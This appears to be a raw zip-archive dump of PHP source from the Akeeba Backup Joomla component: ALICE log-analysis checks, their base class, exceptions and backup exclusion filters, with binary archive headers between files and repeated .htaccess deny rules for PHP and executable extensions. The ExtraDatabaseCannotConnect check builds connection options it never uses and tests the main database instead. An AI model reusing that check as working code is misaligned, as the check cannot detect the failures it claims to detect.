use Akeeba\Alice\Check\Base;
use Akeeba\Alice\Exception\StopScanningEarly;
use Joomla\CMS\Language\Text as JText;
use Joomla\Database\DatabaseInterface;

/**
 * Checks if the user is post processing the archive but didn't set any part size.
 * Most likely this could lead to timeouts while uploading
 */
class PartSize extends Base
{
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->priority         = 70;
		$this->checkLanguageKey = 'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE';

		parent::__construct($logFile, $dbo);
	}

	public function check()
	{
		$partsize = 0;
		$postproc = '';

		$this->scanLines(function ($data) use (&$partsize, &$postproc) {
			if (empty($partsize))
			{
				preg_match('#\|Part size.*:(\d+)#i', $data, $match);

				if (isset($match[1]))
				{
					$partsize = $match[1];
				}
			}

			if (empty($postproc))
			{
				preg_match('#Loading.*post-processing.*?\((.*?)\)#i', $data, $match);

				if (isset($match[1]))
				{
					$postproc = trim($match[1]);
				}
			}

			// Wait until I have both pieces of data
			if (empty($partsize) || empty($postproc))
			{
				return;
			}

			if (($partsize > 2000000000) && ($postproc != 'none'))
			{
				$this->setResult(0);
				$this->setErrorLanguageKey([
					'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE_ERROR',
				]);
			}

			throw new StopScanningEarly();
		});
	}

	public function getSolution()
	{
		return JText::_('COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE_SOLUTION');
	}
}
PK     \tS
  
  >  AliceChecks/Check/Runtimeerrors/ExtraDatabaseCannotConnect.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check\Runtimeerrors;

defined('_JEXEC') || die();

use Akeeba\Alice\Check\Base;
use Akeeba\Alice\Exception\StopScanningEarly;
use Akeeba\Engine\Factory;
use Exception;
use Joomla\CMS\Language\Text as JText;
use Joomla\Database\DatabaseInterface;

/**
 * Check if the user add one or more additional database, but the connection details are wrong
 * In such cases Akeeba Backup will receive an error, halting the whole backup process
 */
class ExtraDatabaseCannotConnect extends Base
{
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->priority         = 90;
		$this->checkLanguageKey = 'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG';

		parent::__construct($logFile, $dbo);
	}

	public function check()
	{
		$profile = 0;

		$this->scanLines(function ($line) use (&$profile) {
			$pos = strpos($line, '|Loaded profile');

			if ($pos === false)
			{
				return;
			}

			preg_match('/profile\s+#(\d+)/', $line, $matches);

			if (isset($matches[1]))
			{
				$profile = (int) $matches[1];
			}

			throw new StopScanningEarly();
		});

		// Mhm... no profile ID? Something weird happened better stop here and mark the test as skipped
		if ($profile <= 0)
		{
			return;
		}

		// Do I have to switch profile?
		$cur_profile = $this->session->get('akeebabackup.profile', null);

		if ($cur_profile != $profile)
		{
			$this->session->set('akeebabackup.profile', $profile);
		}

		$error   = false;
		$filters = Factory::getFilters();
		$multidb = $filters->getFilterData('multidb');

		foreach ($multidb as $addDb)
		{
			$options = [
				'driver'   => $addDb['driver'],
				'host'     => $addDb['host'],
				'port'     => $addDb['port'],
				'user'     => $addDb['username'],
				'password' => $addDb['password'],
				'database' => $addDb['database'],
				'prefix'   => $addDb['prefix'],
			];

			try
			{
				$db = $this->dbo;
				$db->connect();
				$db->disconnect();
			}
			catch (Exception $e)
			{
				$error = true;
			}
		}

		// If needed set the old profile again
		if ($cur_profile != $profile)
		{
			$this->session->set('akeebabackup.profile', $cur_profile);
		}

		if ($error)
		{
			$this->setResult(-1);
			$this->setErrorLanguageKey([
				'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG_ERROR',
			]);
		}
	}

	public function getSolution()
	{
		// Test skipped? No need to provide a solution
		if ($this->getResult() === 0)
		{
			return '';
		}

		return JText::_('COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG_SOLUTION');
	}
}
PK     \/C  C  /  AliceChecks/Check/Runtimeerrors/TooManyRows.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check\Runtimeerrors;

defined('_JEXEC') || die();

use Akeeba\Alice\Check\Base;
use Joomla\CMS\Language\Text as JText;
use Joomla\Database\DatabaseInterface;

/**
 * Checks if the user is trying to backup tables with too many rows, causing the system to fail
 */
class TooManyRows extends Base
{
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->priority         = 50;
		$this->checkLanguageKey = 'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS';

		parent::__construct($logFile, $dbo);
	}

	public function check()
	{
		$tables    = [];
		$row_limit = 1000000;

		$this->scanLines(function ($data) use (&$tables, &$row_limit) {
			// Let's save every scanned table
			preg_match_all('#Continuing dump of (.*?) from record \#(\d+)#i', $data, $matches);

			if (!isset($matches[1]) || empty($matches[1]))
			{
				return;
			}

			for ($i = 0; $i < (is_array($matches[1]) || $matches[1] instanceof \Countable ? count($matches[1]) : 0); $i++)
			{
				if ($matches[2][$i] >= $row_limit)
				{
					$table          = trim($matches[1][$i]);
					$tables[$table] = $matches[2][$i];
				}
			}
		});

		if (!count($tables))
		{
			return;
		}

		$errorMsg = [];

		foreach ($tables as $table => $rows)
		{
			$errorMsg[] = sprintf(
				"%s %d %s %s",
				JText::_('COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_TABLE'),
				$table,
				number_format((float) $rows),
				JText::_('COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_ROWS'
			));
		}

		// Let's raise only a warning, maybe the server is powerful enough to dump huge tables and the problem is somewhere else
		$this->setResult(0);
		$this->setErrorLanguageKey([
			'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_ERROR', implode("\n", $errorMsg),
		]);
	}

	public function getSolution()
	{
		return JText::_('COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_SOLUTION');
	}
}
PK     \g    1  AliceChecks/Check/Runtimeerrors/TooManyTables.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check\Runtimeerrors;

defined('_JEXEC') || die();

use Akeeba\Alice\Check\Base;
use Joomla\CMS\Language\Text as JText;
use Joomla\Database\DatabaseInterface;

/**
 * Checks if the user is trying to backup too many databases, causing the system to fail
 */
class TooManyTables extends Base
{
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->priority         = 40;
		$this->checkLanguageKey = 'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS';

		parent::__construct($logFile, $dbo);
	}

	public function check()
	{
		$tables    = [];
		$ex_tables = [];

		$this->scanLines(function ($data) use (&$tables, &$ex_tables) {
			// Let's save every scanned table
			preg_match_all('#Native\\[a-zA-Z]* :: Adding.*?\(internal name (.*?)\)#i', $data, $matches);

			if (!isset($matches[1]) || empty($matches[1]))
			{
				return;
			}

			$tables = array_merge($tables, $matches[1]);
		});

		if (empty($tables))
		{
			return;
		}

		// Let's loop on saved tables and look at their prefixes
		foreach ($tables as $table)
		{
			preg_match('/^(.*?_)/', $table, $matches);

			if ($matches[1] !== '#_' && !in_array($matches[1], $ex_tables))
			{
				$ex_tables[] = $matches[1];
			}
		}

		if (!count($ex_tables))
		{
			return;
		}

		$this->setResult(-1);

		if (count($ex_tables) > 0 && count($ex_tables) <= 3)
		{
			$this->setResult(0);
		}

		$this->setErrorLanguageKey([
			'COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS_ERROR',
		]);
	}

	public function getSolution()
	{
		return JText::_('COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS_SOLUTION');
	}
}
PK     \Sʉ      )  AliceChecks/Check/Runtimeerrors/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \- O  O  .  AliceChecks/Check/Filesystem/MultipleSites.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check\Filesystem;

defined('_JEXEC') || die();

use Akeeba\Alice\Check\Base;
use Joomla\CMS\Language\Text;
use Joomla\Database\DatabaseInterface;

/**
 * Checks if the user is trying to backup multiple Joomla! installations with a single backup
 */
class MultipleSites extends Base
{
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->priority         = 10;
		$this->checkLanguageKey = 'COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES';

		parent::__construct($logFile, $dbo);
	}

	public function check()
	{
		$subfolders = [];
		$this->scanLines(function ($data) use (&$subfolders) {
			preg_match_all('#Adding\s(.*?)/administrator/index\.php to archive#i', $data, $matches);

			if (!$matches[1])
			{
				return;
			}

			$subfolders = array_merge($subfolders, $matches[1]);
		});

		if (empty($subfolders))
		{
			return;
		}

		$this->setResult(0);

		$this->setErrorLanguageKey([
			'COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES_ERROR', implode("\n", $subfolders),
		]);
	}

	public function getSolution()
	{
		return Text::_('COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES_SOLUTION');
	}
}
PK     \B~  ~  +  AliceChecks/Check/Filesystem/OldBackups.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check\Filesystem;

defined('_JEXEC') || die();

use Akeeba\Alice\Check\Base;
use Joomla\CMS\Language\Text;
use Joomla\Database\DatabaseInterface;

/**
 * Checks if the user is trying to backup old backups
 */
class OldBackups extends Base
{
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->priority         = 40;
		$this->checkLanguageKey = 'COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS';

		parent::__construct($logFile, $dbo);
	}

	public function check()
	{
		$bigfiles = [];

		$this->scanLines(function ($data) use (&$bigfiles) {
			// Only looking files with extensions like .jpa, .jps, .j01, .j02, ..., .j99, .j100, ..., .j99999, .z01, ...
			preg_match_all('#-- Adding.*? <root>/(.*?)(\.(?:jpa|jps|j\d{2,5}|z\d{2,5}))#i', $data, $tmp_matches);

			if (!isset($tmp_matches[1]) || !$tmp_matches[1])
			{
				return;
			}

			// Record valid matches only
			for ($i = 0; $i < (is_array($tmp_matches[1]) || $tmp_matches[1] instanceof \Countable ? count($tmp_matches[1]) : 0); $i++)
			{
				// Get flagged files only once
				$key = hash('md5', $tmp_matches[1][$i] . $tmp_matches[2][$i]);

				if (isset($bigfiles[$key]))
				{
					continue;
				}

				$filename = $tmp_matches[1][$i] . $tmp_matches[2][$i];
				$filePath = JPATH_ROOT . '/' . $filename;
				$fileSize = 0;

				if (@file_exists($filePath) && @is_file($filePath))
				{
					$fileSize = @filesize($filePath);
				}

				if ($fileSize > 1048576)
				{
					$bigfiles[$key] = [
						'filename' => $filename,
					];
				}
			}
		});

		if (empty($bigfiles))
		{
			return;
		}

		$errorMsg = [];

		$this->setResult(-1);

		foreach ($bigfiles as $bad)
		{
			$errorMsg[] = 'File: ' . $bad['filename'];
		}

		$this->setErrorLanguageKey([
			'COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS_ERROR', implode("\n", $errorMsg),
		]);
	}

	public function getSolution()
	{
		return Text::_('COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS_SOLUTION');
	}
}
PK     \v;
  ;
  +  AliceChecks/Check/Filesystem/LargeFiles.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check\Filesystem;

defined('_JEXEC') || die();

use Akeeba\Alice\Check\Base;
use Countable;
use Joomla\CMS\Language\Text;
use Joomla\Database\DatabaseInterface;

/**
 * Checks if the user is trying to backup too big files
 */
class LargeFiles extends Base
{
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->priority         = 20;
		$this->checkLanguageKey = 'COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES';

		parent::__construct($logFile, $dbo);
	}

	public function check()
	{
		$bigfiles = [];

		$this->scanLines(function ($data) use (&$bigfiles) {
			preg_match_all('#(_before_|\*after\*) large file: (<root>.*?) \- size: (\d+)#i', $data, $tmp_matches);

			// Record valid matches only (i.e. with a filesize)
			if (!isset($tmp_matches[3]) || empty($tmp_matches[3]))
			{
				return;
			}

			for ($i = 0; $i < (is_array($tmp_matches[2]) || $tmp_matches[2] instanceof Countable ? count($tmp_matches[2]) : 0); $i++)
			{
				// Get flagged files only once; I could have a breaking step after, before or BOTH a large file
				$key = hash('md5', $tmp_matches[2][$i]);

				if (!isset($bigfiles[$key]))
				{
					$bigfiles[$key] = [
						'filename' => $tmp_matches[2][$i],
						'size'     => round($tmp_matches[3][$i] / 1024 / 1024, 2),
					];
				}
			}
		});

		if (empty($bigfiles))
		{
			return;
		}

		/**
		 * Depending on the size of the detected files this could be a success, warning or error condition.
		 *
		 * Files over 10MB : error
		 * Files 2 to 10MB : warning
		 * Files < 2MB     : success (user not warned)
		 */
		foreach ($bigfiles as $file)
		{
			// More than 10 Mb? Always set the result to error, no matter what
			if ($file['size'] >= 10)
			{
				$this->setResult(-1);

				break;
			}

			// Warning for "smaller" files, set the warn only if we don't already have a failure state
			if ($file['size'] > 2)
			{
				$this->setResult(0);
			}
		}

		// If all files were too small to report just go away.
		if ($this->getResult() == 1)
		{
			return;
		}

		$errorMsg = [];

		foreach ($bigfiles as $bad)
		{
			$errorMsg[] = 'File: ' . $bad['filename'] . ' ' . $bad['size'] . ' Mb';
		}

		$this->setErrorLanguageKey([
			'COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES_ERROR', implode("\n", $errorMsg),
		]);
	}

	public function getSolution()
	{
		return Text::_('COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES_SOLUTION');
	}
}
PK     \Sʉ      &  AliceChecks/Check/Filesystem/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \d:    1  AliceChecks/Check/Filesystem/LargeDirectories.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check\Filesystem;

defined('_JEXEC') || die();

use Akeeba\Alice\Check\Base;
use Joomla\CMS\Language\Text;
use Joomla\Database\DatabaseInterface;

/**
 * Checks if the user is trying to backup directories with a lot of files
 */
class LargeDirectories extends Base
{
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->priority         = 30;
		$this->checkLanguageKey = 'COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES';

		parent::__construct($logFile, $dbo);
	}

	public function check()
	{
		$prev_dir  = '';
		$large_dir = [];

		$this->scanLines(function ($data) use (&$prev_dir, &$large_dir) {
			// Let's get all the involved directories
			preg_match_all('#Scanning files of <root>/(.*)#', $data, $matches);

			if (!isset($matches[1]) || empty($matches[1]))
			{
				return;
			}

			$dirs = $matches[1];

			if ($prev_dir)
			{
				array_unshift($dirs, $prev_dir);
			}

			foreach ($dirs as $dir)
			{
				preg_match_all('#Adding ' . $dir . '/([^\/]*) to#', $data, $tmp_matches);

				if ((is_array($tmp_matches[0]) || $tmp_matches[0] instanceof \Countable ? count($tmp_matches[0]) : 0) > 250)
				{
					$large_dir[] = ['position' => $dir, 'elements' => is_array($tmp_matches[0]) || $tmp_matches[0] instanceof \Countable ? count($tmp_matches[0]) : 0];
				}
			}

			$prev_dir = array_pop($dirs);
		});

		if (empty($large_dir))
		{
			return;
		}

		$errorMsg = [];

		// Let's log all the results
		foreach ($large_dir as $dir)
		{
			$errorMsg[] = $dir['position'] . ', ' . $dir['elements'] . ' files';
		}

		$this->setResult(-1);
		$this->setErrorLanguageKey([
			'COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES_ERROR', implode("\n", $errorMsg),
		]);
	}

	public function getSolution()
	{
		return Text::_('COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES_SOLUTION');
	}
}
PK     \-/      AliceChecks/Check/Base.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Check;

defined('_JEXEC') || die();

use Akeeba\Alice\Exception\CannotOpenLogfile;
use Akeeba\Alice\Exception\StopScanningEarly;
use Exception;
use InvalidArgumentException;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Application\CMSApplicationInterface;
use Joomla\CMS\Factory;
use Joomla\Database\DatabaseDriver;
use Joomla\Database\DatabaseInterface;
use Joomla\Session\Session;
use Joomla\Session\SessionInterface;

/**
 * Abstract class for ALICE checks
 *
 * @since  7.0.0
 */
abstract class Base
{
	/**
	 * Check priority
	 *
	 * @var   int
	 * @since 7.0.0
	 */
	protected $priority = 0;

	/**
	 * The full path to the log file we are analyzing
	 *
	 * @var   string
	 * @since 7.0.0
	 */
	protected $logFile = null;

	/**
	 * Language key with the description of the check implemented by this class.
	 *
	 * @var   string
	 * @since 7.0.0
	 */
	protected $checkLanguageKey = '';

	/**
	 * Language key and sprintf() parameters for the detected error.
	 *
	 * Position 0 of the array is the language string. Positions 1 onwards (optional) are the sprintf() parameters.
	 *
	 * @var   array
	 * @since 7.0.0
	 */
	protected $errorLanguageKey = [];

	/**
	 * Status of the current check.
	 *
	 * 1 = success; 0 = warning; -1 = failure
	 *
	 * @var   int
	 * @since 7.0.0
	 */
	protected $result = 1;

	/**
	 * Joomla application object
	 *
	 * @var CMSApplicationInterface|CMSApplication|null
	 */
	protected $app = null;

	/**
	 * @var SessionInterface|Session|null
	 */
	protected $session = null;

	/**
	 * The database driver of the application
	 *
	 * @var   DatabaseInterface|DatabaseDriver
	 * @since 9.3.0
	 */
	protected $dbo = null;

	/**
	 * Check constructor
	 *
	 * @param   string  $logFile  The log file we will be analyzing
	 *
	 * @return  void
	 * @since   7.0.0
	 */
	public function __construct(string $logFile, DatabaseInterface $dbo)
	{
		$this->logFile = $logFile;
		$this->app     = Factory::getApplication();
		$this->session = $this->app->getSession();
		$this->dbo     = $dbo;
	}

	/**
	 * Run a check
	 *
	 * @return  void
	 * @throws  CannotOpenLogfile  If the log file cannot be opened
	 * @throws  Exception  If an unhandled error occurs
	 * @since   7.0.0
	 */
	abstract public function check();

	/**
	 * Returns the solution that should be applied to fix the issue
	 *
	 * @return  string  Steps required to fixing the issue
	 * @since   7.0.0
	 */
	abstract public function getSolution();

	/**
	 * Returns the status of this check.
	 *
	 * @return  int  1 = success; 0 = warning; -1 = failure
	 * @since   7.0.0
	 */
	public function getResult()
	{
		return $this->result;
	}

	/**
	 * Set the result for current check.
	 *
	 * @param   int  $result  1 = success; 0 = warning; -1 = failure
	 *
	 * @return  void
	 * @since   7.0.0
	 */
	public function setResult($result)
	{
		// Allow only a set of results
		if (!in_array($result, [1, 0, -1], true))
		{
			$result = -1;
		}

		$this->result = $result;
	}

	/**
	 * Gets the priority of this check
	 *
	 * @return  int
	 * @since   7.0.0
	 */
	public function getPriority()
	{
		return $this->priority;
	}

	/**
	 * Returns the language key and any sprintf() parameters for the error detected by this check
	 *
	 * @return  array  Position 0 is the lang key, everything else is the sprintf parameters
	 * @since   7.0.0
	 */
	public function getErrorLanguageKey()
	{
		return $this->errorLanguageKey;
	}

	/**
	 * @param   array  $errorLanguageKey
	 *
	 * @since   7.0.0
	 */
	public function setErrorLanguageKey($errorLanguageKey)
	{
		if (!is_array($errorLanguageKey))
		{
			throw new InvalidArgumentException(sprintf(
				"Method %s now only accepts an array as its parameter", __METHOD__
			));
		}

		$this->errorLanguageKey = $errorLanguageKey;
	}

	/**
	 * Returns the language key with this check's description
	 *
	 * @return  string
	 * @since   7.0.0
	 */
	public function getCheckLanguageKey()
	{
		return $this->checkLanguageKey;
	}

	/**
	 * Runs a scanner callback against all lines of the log file
	 *
	 * @param   callable  $callback  The scanner callback to execute on each line of the log file.
	 *
	 * @throws Exception  If the scanner callback detects an error
	 */
	protected function scanLines(callable $callback)
	{
		// Open the log file for reading
		$handle = @fopen($this->logFile, 'r');

		// Did we fail to open the log file?
		if ($handle === false)
		{
			throw new CannotOpenLogfile($this->logFile);
		}

		$prev_data = '';
		$buffer    = 65536;

		while (!feof($handle))
		{
			$line = fgets($handle);

			// Apply the callback on the current line.
			try
			{
				call_user_func($callback, $line);
			}
			catch (StopScanningEarly $e)
			{
				/**
				 * This exception is used to stop scanning the log file, e.g. if the checker has found the information
				 * it was looking for. We just need to terminate the loop WITHOUT rethrowing the exception.
				 */
				break;
			}
			catch (Exception $e)
			{
				// The check detected an error condition. Close the log file and rethrow the exception.
				fclose($handle);

				throw $e;
			}
		}

		// All right. We finished processing the log file. Close the handle.
		fclose($handle);
	}
}
PK     \Sʉ        AliceChecks/Check/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \n    +  AliceChecks/Exception/StopScanningEarly.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Exception;

defined('_JEXEC') || die();

use RuntimeException;

/**
 * This exception tells ALICE to stop reading lines from the log file. It is not rethrown. It's only meant to stop the
 * scanning early.
 */
class StopScanningEarly extends RuntimeException
{
}
PK     \cn  n  +  AliceChecks/Exception/CannotOpenLogfile.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Alice\Exception;

defined('_JEXEC') || die();

use Exception;
use Joomla\CMS\Language\Text;
use RuntimeException;

/**
 * ALICE Exception: cannot open log file
 */
class CannotOpenLogfile extends RuntimeException
{
	public function __construct($logFile, ?Exception $previous = null)
	{
		$message = Text::sprintf('COM_AKEEBABACKUP_ALICE_ERR_CANNOT_OPEN_LOGFILE', $logFile);

		parent::__construct($message, 500, $previous);
	}
}
PK     \Sʉ        AliceChecks/Exception/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \|N      AliceChecks/web.confignu [        <?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>PK     \Sʉ        AliceChecks/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \?_  _  +  platform/Joomla/Filter/Systemcachefiles.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('_JEXEC') || die();

use Akeeba\Engine\Factory;

/**
 * Files exclusion filter based on regular expressions
 */
class Systemcachefiles extends Base
{
	function __construct()
	{
		$this->object      = 'file';
		$this->subtype     = 'all';
		$this->method      = 'regex';
		$this->filter_name = 'Systemcachefiles';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();

		// Get the site's root
		$configuration = Factory::getConfiguration();

		if ($configuration->get('akeeba.platform.override_root', 0))
		{
			$root = $configuration->get('akeeba.platform.newroot', '[SITEROOT]');
		}
		else
		{
			$root = '[SITEROOT]';
		}

		$this->filter_data[$root] = array(
			'#/Thumbs\.db$#',
			'#^Thumbs\.db$#',
			'#/\.DS_Store$#i',
			'#^\.DS_Store$#i',
			'#^core\.[\d]{1,10}$#i',
		);
	}
}
PK     \AL~  ~  +  platform/Joomla/Filter/Excludetabledata.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter;

// Protection against direct access
defined('_JEXEC') || die();

/**
 * Subdirectories exclusion filter. Excludes temporary, cache and backup output
 * directories' contents from being backed up.
 */
class Excludetabledata extends Base
{
	public function __construct()
	{
		$this->object      = 'dbobject';
		$this->subtype     = 'content';
		$this->method      = 'direct';
		$this->filter_name = 'Excludetabledata';

		// We take advantage of the filter class magic to inject our custom filters
		$this->filter_data['[SITEDB]'] = array(
			'#__session',        // Sessions table
			'#__guardxt_runs'    // Guard XT's run log (bloated to the bone)
		);

		parent::__construct();
	}

}
PK     \Aާ    0  platform/Joomla/Filter/Stack/StackActionlogs.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter\Stack;

use Akeeba\Engine\Filter\Base;

// Protection against direct access
defined('_JEXEC') || die();

/**
 * Exclude Joomla 3.9+ actions log table
 */
class StackActionlogs extends Base
{
	public function __construct()
	{
		$this->object  = 'dbobject';
		$this->subtype = 'content';
		$this->method  = 'api';

		parent::__construct();
	}

	protected function is_excluded_by_api($test, $root)
	{
		static $excluded = [
			'#__action_logs',
		];

		// This filter only applies to the main site database.
		if ($root !== '[SITEDB]')
		{
			return false;
		}

		// Is it one of the blacklisted tables?
		if (in_array($test, $excluded))
		{
			return true;
		}

		// No match? Just include the file!
		return false;
	}

}
PK     \c    1  platform/Joomla/Filter/Stack/installedtables.jsonnu [        {
    "core.filters.installedtables.enabled": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ENABLED_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ENABLED_DESCRIPTION",
        "bold": "1"
    },
    "core.filters.installedtables.onlyjoomla": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ONLYJOOMLA_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ONLYJOOMLA_DESCRIPTION",
		"showon": "core.filters.installedtables.enabled:1"
    },
	"core.filters.installedtables.extra": {
		"default": "",
		"type": "string",
		"title": "COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_EXTRA_TITLE",
		"description": "COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_EXTRA_DESCRIPTION",
		"showon": "core.filters.installedtables.enabled:1"
	}
}PK     \m]R  R  5  platform/Joomla/Filter/Stack/StackInstalledtables.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Filter\Stack;

// Protection against direct access
defined('_JEXEC') || die();

